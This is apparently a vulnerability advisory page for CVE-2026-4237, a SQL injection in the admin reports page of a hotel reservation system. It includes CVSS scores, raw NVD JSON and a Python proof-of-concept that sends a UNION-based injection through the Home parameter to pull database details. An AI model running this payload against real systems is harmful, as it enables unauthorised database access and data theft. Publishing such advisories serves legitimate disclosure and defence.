Security Vulnerability Report
中文
CVE-2026-4237 CVSS 7.3 HIGH

CVE-2026-4237

Published: 2026-03-16 14:20:18
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in itsourcecode Free Hotel Reservation System 1.0. This vulnerability affects unknown code of the file /hotel/admin/mod_reports/index.php. Executing a manipulation of the argument Home can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

itsourcecode Free Hotel Reservation System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-4237 SQL Injection PoC # Target: itsourcecode Free Hotel Reservation System 1.0 # Vulnerability: SQL Injection in /hotel/admin/mod_reports/index.php via Home parameter def exploit_sqli(target_url): """ SQL Injection exploitation using UNION-based injection """ # Target endpoint endpoint = f"{target_url}/hotel/admin/mod_reports/index.php" # Payload for database version enumeration payload = "Home=1' UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -" print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection in {endpoint}") try: # Send malicious request params = {"Home": "1' UNION SELECT 1,2,@@version,4,5,6,7,8,9,10-- -"} response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Response received - check for database information in response") # Extract potential sensitive data from response if 'root' in response.text or 'localhost' in response.text: print("[!] Potential database credentials or info leaked!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sqli(target) else: print("Usage: python cve-2026-4237.py http://target.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4237", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:18.220", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in itsourcecode Free Hotel Reservation System 1.0. This vulnerability affects unknown code of the file /hotel/admin/mod_reports/index.php. Executing a manipulation of the argument Home can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used."}, {"lang": "es", "value": "Se ha encontrado una falla en itsourcecode Free Hotel Reservation System 1.0. Esta vulnerabilidad afecta a código desconocido del archivo /hotel/admin/mod_reports/index.php. La ejecución de una manipulación del argumento Home puede conducir a inyección SQL. El ataque puede realizarse de forma remota. El exploit ha sido publicado y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/yuji0903/silver-guide/issues/14", "source": "[email protected]"}, {"url": "https://itsourcecode.com/", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351179", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351179", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771243", "source": "[email protected]"}]}}